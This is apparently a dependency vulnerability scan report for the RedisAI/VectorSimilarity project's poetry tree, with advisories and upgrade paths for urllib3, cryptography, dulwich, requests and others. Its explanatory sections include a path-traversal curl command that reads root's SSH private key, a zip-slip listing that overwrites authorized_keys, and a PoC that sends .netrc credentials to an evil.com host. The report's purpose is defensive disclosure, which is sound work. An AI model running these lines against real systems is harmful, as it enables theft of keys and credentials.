Vulnerabilities

22 via 58 paths

Dependencies

48

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 22
  • 1
Severity
  • 9
  • 13
  • 1
Status
  • 23
  • 0
  • 0

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.6.0.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 dulwich@0.21.7 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0 urllib3@1.26.20

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.6.0.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 dulwich@0.21.7 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0 urllib3@1.26.20

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.6.0.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 dulwich@0.21.7 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0 urllib3@1.26.20

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity
new

Out-of-bounds Read

  • Vulnerable module: cryptography
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 keyring@23.13.1 secretstorage@3.3.3 cryptography@45.0.7
    Remediation: Upgrade to poetry@1.8.3.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read in the ASN.1 decoder. An attacker can crash the application or cause memory beyond the end of the input buffer to be loaded into the decoded ASN.1 object, by supplying very large input data. Applications that pass untrusted input to d2i_X509(), d2i_PKCS7(), or other d2i_* functions are affected. OpenSSL command line tools are not.

Note: Only 64-bit Unix-like systems are vulnerable.

Remediation

Upgrade cryptography to version 48.0.1 or higher.

References

high severity
new

Use After Free

  • Vulnerable module: msgpack
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 msgpack@1.0.5
    Remediation: Upgrade to poetry@1.4.2.

Overview

msgpack is an efficient binary serialization format.

Affected versions of this package are vulnerable to Use After Free in the unpacker' when it is reused after an error has occurred. An attacker can cause a crash or denial of service by repeatedly triggering errors and reusing the same unpacker` instance with untrusted input.

Workaround

This vulnerability can be mitigated by creating a new unpacker instance instead of reusing one after an error, and by discarding the Stream and Streaming Unpacker if an error occurs during streaming unpacking.

Remediation

Upgrade msgpack to version 1.2.1 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: dulwich
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 dulwich@0.21.7
    Remediation: Upgrade to poetry@1.8.3.

Overview

Affected versions of this package are vulnerable to Directory Traversal via the validate_path_element_ntfs function. An attacker can write arbitrary files and potentially execute code in the victim's user context by crafting malicious Git repositories with NTFS-hostile tree entries that are interpreted differently on Windows, such as using backslashes, NTFS alternate-data-stream markers, or 8.3 short-name aliases. This allows planting files inside sensitive directories or bypassing directory checks when the repository is cloned or checked out on Windows systems.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade dulwich to version 1.2.5 or higher.

References

high severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: cryptography
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 keyring@23.13.1 secretstorage@3.3.3 cryptography@45.0.7
    Remediation: Upgrade to poetry@1.8.3.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in public key functions public_key_from_numbers, EllipticCurvePublicNumbers.public_key, load_der_public_key, and load_pem_public_key, which may reveal bits from a private key when provided with a malicious public key as input. When the application is using sect* binary curves for verification - which is a rare use case - these functions do not verify that the provided point belongs to the expected prime-order subgroup of the curve. An attacker can thus expose partial private keys or forge signatures.

Remediation

Upgrade cryptography to version 46.0.5 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: urllib3
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.6.0.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 dulwich@0.21.7 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0 urllib3@1.26.20

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in urlopen() when using ProxyManager.connection_from_url() with assert_same_host=False, directly rather than via the high-level APIs including urllib3.request(), PoolManager.request(), and ProxyManager.request(). An attacker can expose headers such as Authorization, Cookie, and Proxy-Authorization by triggering cross-origin redirects, which does not properly invoke remove_headers_on_redirect.

Remediation

Upgrade urllib3 to version 2.7.0 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: poetry
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2
    Remediation: Upgrade to poetry@2.3.3.

Overview

poetry is a Python dependency management and packaging made easy.

Affected versions of this package are vulnerable to Directory Traversal due to improper validation of wheel destination path that is being constructed directly from untrusted wheel entry path without containment checks. An attacker can write arbitrary files outside the intended installation directory by crafting a malicious wheel file containing directory traversal sequences.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade poetry to version 2.3.3 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 build@0.10.0 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 jsonschema@4.17.3 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.7.0.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 keyring@23.13.1 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 poetry-core@1.5.2 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 jsonschema@4.17.3 importlib-resources@5.12.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.7.0.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 keyring@23.13.1 importlib-resources@5.12.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 jsonschema@4.17.3 attrs@24.2.0 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.7.0.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 poetry-plugin-export@1.4.0 poetry-core@1.5.2 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to poetry@1.8.3.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity
new

Memory Allocation with Excessive Size Value

  • Vulnerable module: dulwich
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 dulwich@0.21.7
    Remediation: Upgrade to poetry@1.8.3.

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value through the ReceivePackHandler via add_thin_pack/apply_delta flows when handling crafted thin packs with attacker-controlled delta headers. An attacker can cause excessive memory allocation by pushing a specially crafted thin pack that declares a large destination size, leading to resource exhaustion and potential denial of service. This is only exploitable if the server exposes git-receive-pack functionality and accepts pushes from untrusted or authenticated clients.

Workaround

This vulnerability can be mitigated by restricting push access to trusted, authenticated clients only, disabling push functionality if not needed, or running the server under an OS-level memory limit (such as ulimit, cgroups/MemoryMax, or a container memory limit) to prevent host exhaustion.

Remediation

Upgrade dulwich to version 1.2.5 or higher.

References

medium severity

Improper Certificate Validation

  • Vulnerable module: cryptography
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 keyring@23.13.1 secretstorage@3.3.3 cryptography@45.0.7
    Remediation: Upgrade to poetry@1.8.3.

Overview

Affected versions of this package are vulnerable to Improper Certificate Validation through the NameChain DNS verification logic in src/rust/cryptography-x509-verification. An attacker can make a peer name, such as bar.example.com, validate against a wildcard leaf certificate like *.example.com even when an issuing certificate in the chain excludes that DNS subtree, causing improper certificate acceptance.

Notes

  • The flaw affects X.509 path validation when DNS name constraints are present, and the leaf certificate uses a wildcard DNS SAN.
  • The maintainers note that ordinary X.509 topologies, including those used by the Web PKI, are not affected, and exploitation requires an uncommon certificate hierarchy.

Remediation

Upgrade cryptography to version 46.0.6 or higher.

References

medium severity

Out-of-bounds Write

  • Vulnerable module: cryptography
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 keyring@23.13.1 secretstorage@3.3.3 cryptography@45.0.7
    Remediation: Upgrade to poetry@1.8.3.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write in the update function when non-contiguous buffers are provided as input. An attacker can cause memory corruption or unintended behavior by supplying specially crafted non-contiguous buffers to APIs that accept Python buffers.

Note: This is only exploitable if the Python version is greater than 3.11.

Remediation

Upgrade cryptography to version 46.0.7 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.6.0.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 dulwich@0.21.7 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0 urllib3@1.26.20
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0 urllib3@1.26.20

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Symlink Attack

  • Vulnerable module: filelock
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 filelock@3.12.2
    Remediation: Upgrade to poetry@1.6.0.

Overview

Affected versions of this package are vulnerable to Symlink Attack via a race condition in the _acquire method. An attacker can cause lock operations to fail or behave unexpectedly by creating a symlink at the lock file path between the permission check and file creation.

Remediation

Upgrade filelock to version 3.20.3 or higher.

References

medium severity

Time-of-check Time-of-use (TOCTOU) Race Condition

  • Vulnerable module: filelock
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 filelock@3.12.2
    Remediation: Upgrade to poetry@1.6.0.

Overview

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition during lock file creation. An attacker can corrupt or truncate arbitrary files by exploiting a race condition between the existence check and file opening with O_TRUNC, allowing the creation of a symlink that is followed and results in the target file being truncated.

Note:

This is only exploitable if the attacker has local filesystem access and the ability to create symlinks in the lock file directory.

Workaround

This vulnerability can be mitigated by using SoftFileLock instead of UnixFileLock/WindowsFileLock, ensuring lock file directories have restrictive permissions (chmod 0700), and monitoring lock file directories for suspicious symlinks before running trusted applications.

Remediation

Upgrade filelock to version 3.20.1 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: html5lib
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 html5lib@1.1

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the clean() function. An attacker can execute arbitrary JavaScript code in the context of the user's browser by submitting crafted HTML containing a formaction attribute with a dangerous URI scheme such as javascript:. This is only exploitable if the application explicitly allows the formaction attribute on submit-capable controls such as <button> or <input> elements.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for html5lib.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: idna
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0 idna@3.10
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0 idna@3.10
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0 idna@3.10

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

